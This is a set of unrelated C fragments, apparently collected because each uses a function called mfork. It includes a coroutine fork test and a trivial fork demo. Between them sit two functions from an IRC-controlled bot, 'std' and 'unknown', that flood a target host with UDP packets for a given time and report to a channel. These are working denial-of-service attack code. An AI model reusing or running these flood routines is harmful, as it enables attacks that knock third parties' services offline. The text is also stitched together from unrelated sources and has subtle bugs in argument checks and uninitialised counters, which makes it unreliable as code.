int main() { /* Start second coroutine before forking. */ go(worker()); /* Fork. */ pid_t pid = mfork(); assert(pid != -1); /* Parent waits for the child. */ if(pid > 0) { int status; pid = waitpid(pid, &status, 0); assert(pid != -1); assert(WIFEXITED(status)); assert(WEXITSTATUS(status) == 0); return 0; } /* Child tries to make sure that there's only one coroutine running. */ forked = 1; int i; for(i = 0; i != 20; ++i) yield(); assert(!worker_running); return 0; }
//STD Attack void std(int sock, char *sender, int argc, char **argv) { if (argc < 3) { Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan); exit(1); } unsigned long secs; int iSTD_Sock; iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); time_t start = time(NULL); secs = atol(argv[3]); if (mfork(sender) != 0) return; Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]); struct sockaddr_in sin; struct hostent *hp; hp = gethostbyname(argv[1]); bzero((char*) &sin,sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = atol(argv[2]); unsigned int a = 0; while(1){ if (a >= 50) { send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); if (time(NULL) >= start + secs) { Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]); close(iSTD_Sock); exit(0); } a = 0; } a++; } }
void unknown(int sock, char *sender, int argc, char **argv) { int flag=1,fd,i; unsigned long secs; char *buf=(char*)malloc(9216); struct hostent *hp; struct sockaddr_in in; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc != 2) { Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan); exit(1); } secs=atol(argv[2]); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=host2ip(sender,argv[1]); in.sin_family = AF_INET; Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]); while(1) { in.sin_port = rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){ } else { flag=1; ioctl(fd,FIONBIO,&flag); sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+secs) break; i=0; } i++; } Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]); close(fd); exit(0); }
int main(int argc, char * argv[]) { int result = mfork(); printf("fork result:%d\n",result); return 0; }